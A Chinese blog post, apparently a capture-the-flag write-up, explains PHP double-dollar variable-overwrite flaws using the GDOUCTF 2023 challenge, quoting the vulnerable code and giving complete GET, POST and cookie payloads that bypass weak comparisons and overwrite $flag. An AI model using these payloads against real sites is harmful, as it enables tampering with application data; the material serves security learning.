本质上而言双$原本功能是允许用户自定义变量;但未过滤输入,导致传入参数是一代码中已经定义好的变量,或者全局变量时导致数据篡改,或调用危险函数;
总之;导致的变量覆盖其实就是允许可控参数作为一个变量,这个变量可以是自定义变量,也可以是代码中的变量或全局变量或特殊构造的函数"变量"等.

例题:
[GDOUCTF 2023]受不了一点
代码
前面的绕过是弱比较部分,大部分用数组就可以绕过了.
payload:?aaa=114514&bbb=114514a
gdou[]=1&ctf[]=2

变量覆盖部分

点击查看代码
  if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;

变量覆盖中双$$key关键是以key的值作为变量名,当key的值时代码中代码中已经定义好的变量时就会导致变量覆盖,具体而言使$key的值=1;这样就定义了$1这个变量,当赋值为flag时,这样就使$1=flag ,$value=flag,后面访问$value,其实就是访问flag,同理后面使1=flag和flag=1;其实就是

$1=flag;
$1=$flag
$flag=$1
这个操作;
这个操作的作用类似于通过引用进行的数据交换;最终实现flag=flag;
payload
http://node4.anna.nssctf.cn:28803/?aaa=114514&bbb=114514a&1=flag&flag=1
gdou[]=1&ctf[]=2&1=flag
Cookie:cookie=j0k3r;

.
总而言之;双$$变量覆盖漏洞原理就是可控变量名导致的数据篡改和危险调用;.

 posted on 2024-04-12 19:42  ୧૭  阅读(29)  评论(0)    收藏  举报